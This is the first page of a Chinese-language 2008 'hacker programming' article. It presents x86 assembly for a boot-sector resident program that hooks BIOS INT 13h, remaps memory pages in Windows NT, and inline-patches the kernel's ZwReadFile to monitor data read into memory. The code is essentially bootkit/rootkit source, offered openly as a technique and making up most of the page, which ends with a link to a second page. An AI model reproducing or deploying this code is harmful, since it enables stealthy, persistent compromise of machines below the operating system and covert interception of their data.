安全中国首页 > 文章中心 > 黑客编程
 
程序从DOS/bios驻留内存到WINNT下监视读入内存数据
更新时间:2008-4-12 1:37:27
责任编辑:池天
热 点:
作者:成松林
QQ:179641795
Email:cheng_5103@126.com
注意:欢迎大家转载,请大家转载注明原出处和作者信息.发篇文章不容易..大家请保留作者信息.



.586p                            ;########################################################################
.model tiny                      ;#############目的:让程序永久驻留内存,监控读入内存数据.##################
;********************************;#步骤:一层层HOOK,进入保护模式,打开页模式...........******************##
Code_Sise equ 200h               ;#1、BIOS层:向量法HOOK->INT19H(在它内部HOOK)->INT13H,截取读到内存的数据##
RealCode segment byte use16      ;#   参看BIOS嵌入开发教程.DOS层可延用HOOK INT13H服务.截取读到内存的数据##
CodeStart:                       ;#2、INT13H服务:如果是SCSI硬盘,加载SCSI驱动,HOOK->SCSI读服务(分析加载的##
  cli                            ;#   SCSI驱动服务文件,PE导出HOOK法(教程),这样程序继续监控读入内存的数据##
  xor bx,bx                      ;#3、WindowsNT层:NTLDR加载到内存,若不是SCSI硬盘,NTLDR读操作还是用INT13H##
  mov ss,bx                      ;#   NTLDR完成参数配置及保护模式切换等后将控制权交给NTOSKRNL(WINNT内核)##
  mov sp,7c00h                   ;#4、HOOK NTLDR加载的NTOSKRNL(模块),可用方法:Inline HOOK法(注意:HOOK点)##
  mov ds,bx                      ;#5、HOOK NTOSKRNL服务:ZwReadFile API导出函数,可用HOOK PE加Inline HOOK.##
  mov ax,ds:[413h]               ;#40:13,BIOS数据区保存内存大小,单位:KBs,#################################
  and al,NOT 3                   ;#防止代码在分页的边界处,以便保证代码在保护模式分页后可以继续运行########
  sub ax,4                       ;#分配4KB给我们代码用.(也就是刚刚一页的代码,防止分页边界及夸页等问题)####
  mov ds:[413h],ax               ;########################################################################
  shl ax,(10-4)                  ;ax *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
  mov es,ax                      ;分配的保留内存;es:0 -> 分配的保留内存地址

  mov ax,0201h
  mov bx,200h
  mov cx,2
  mov dx,0
  int 13h

  cld                            ;
  mov si,7c00h
  xor di,di                      ;代码被拷贝到es:di处(分配的保留内存里).注意:拷贝后偏移值改变,计算方法.
  mov cx,Code_Sise
  rep movsb                      ;拷贝代码到保留内存
  mov eax,ds:[13h*4]             ;安装我们的INT13h代码
  mov es:[INT13H - CodeStart],eax;保存旧的int13向量值
  mov word ptr ds:[13h*4],INT13Hook
  mov ds:[(13h*4) + 2],es        ;设置我们的INT13h向量
  sti
  push es
  push BootOS
  retf
;**************
BootOS:
  xor ax,ax
  mov es,ax
  mov bx,7c00h
  mov ax,0201h
  mov cx,1
  mov dx,80h
  int 13h
  db  0eah
  dd  7c00h                       ;jmp far 0:7c00h ;引导系统
;#############################################################################################################
;#####NT加载模块:1、不是SCSI硬盘,如果在保护模式就切换到实模式.调用BIOS INT13H读数据,修改读的数据做HOOK等######
;#####           2、是SCSI硬盘:可以先在INT13H服务HOOK SCSI驱动的加载,同样在该服务里.修改读的数据做HOOK等######
;#####           3、注意:没在保护模式我们可切换过去.获取CR3修改页映射.和修改GDT表等.在保护模式就更简单了######
;#############################################################################################################
;********************我们的BIOS/DOS下HOOK INT13H服务**********************************************************
INT13Hook:                    ;######这个硬盘操作服务是我们在实模式驻留运行服务的关键######
   pushf                      ;有指令要改变标志寄存器
   test ah, 0bdh              ;是不是读数据到内存,ah=02,ah=42h
   jz Int13Hook_ReadRequest
   popf
   db 0eah
   INT13H dd ?                ;跳转到旧的INT13H服务,注意:这种保存数据的方法  
Int13Hook_ReadRequest:
   popf
   pushf
   call dword ptr cs:[INT13H] ;调用旧INT13H服务的读
   jc Int13Hook_ret           ;CF=1,读失败退出服务
      cli                     ;关闭中断
      pushfd
      push fs
      pushad                   ;保护现场
      call MakeFS4GBSegment    ;返回FS段可写4GB内存.ebx = cr3的值. 
      ;#############把代码映射成线性地址80000000h+cs*4地址,避免NT不映射我们代码在保留内存情况############
      mov eax,FS:[ebx+800h]    ;eax=线性地址最高10位400h*4=800h,确定在cr3指向的页目录表的位置.
      and eax,0fffff000h       ;去掉获取的二级页表属性位.eax=80000000h线性地址二级页表物理地址.
      .if eax != 0             ;二级页表物理地址不能为零
          xor ecx,ecx
          mov cx,cs                 ;我们直接映射成对应的物理地址          
          mov edx,ecx               ;故二级页表位置用cs值确定..
          shl edx,4                 ;edx=我们代码段在内存的物理地址.
          or  edx,163h              ;设置页属性为:存在的且用户及系统可读/写
          shr ecx,8                 ;cl=在二级页表的位置
          shl ecx,2                 ;一个页项在页目录表或者在页表占4个字节.ecx=在二级页表位置
          mov FS:[eax+ecx],edx      ;修改我们代码在物理内存的映射
          mov dword ptr FS:[eax],103h;修改物理页0(也就是BIOS/DOS区映射到80000000h)
      .endif                         ;注意:WINNT不会使用BIOS/DOS使用的页,即物理页0)
      ;###################################################################################################
      call MemScansAPIAddr
      .if  edi                 ;###在内存搜索到我们要找的API函数地址,eax->ZwReadFile##
           mov esi,MyZwReadFileARG - Code32Start + Code16Size
           .if dword ptr cs:[esi] == 0   ;第一次HOOK时.获取被HOOK的指令.
               mov ebx,fs:[eax+1]        ;##不同版NT:ZwReadFile函数指令不同,Inline HOOK弱点.##
               mov cs:[esi],ebx          ;分析发现ZwReadFile开头都是mov eax,(不确定)
               xor edx,edx
               mov edx,cs                    ;MyZwReadFile在内存的物理地址
               shl edx,4                     ;edx->我们代码段基址(cs*10H)
               add edx,Code16Size            ;(edx->VirtualCode->MyZwReadFile) < (eax->ZwReadFile)
               mov ecx,Code32End - Code32Start ;ecx=代码长度
               mov ebx,600h                    ;ebx->拷贝到的物理地址
               .while ecx                      ;edx->拷贝前的物理地址
                      mov al,FS:[edx]
                      mov FS:[ebx],al
                      inc edx
                      inc ebx
                      dec ecx
               .endw
            .endif
           mov ebx,600h              ;将VirtualCode代码拷到物理地址600h,这段内存(物理页0)WINTNT不会用.
           mov byte ptr fs:[eax],0E8h;##采用Inline HOOK:命令E8h/xx/xx/xx/xx: CALL Rel(Rel=相对地址)##
           add eax,5                     ;#####修正32位相对偏移指令CALL Rel所占的五字节########
           sub ebx,eax                   ;#####计算相对偏移字节数(相对转移分正负方向.这里负)###
           mov fs:[eax-4],ebx            ;####填写计算好的地址到被HOOK地点####
      .endif
Int13Hook_scan_done:                             
   popad
   pop fs
   popfd
   sti
Int13Hook_ret:
   retf 2
;**************************************************************************************************************

1 2 下一页

·上一篇: 让所有"暴力删除工具"无语的代码
·下一篇: 暂时空缺
 
相关文章
48小时热门文章
 
一日一软件
一日一动画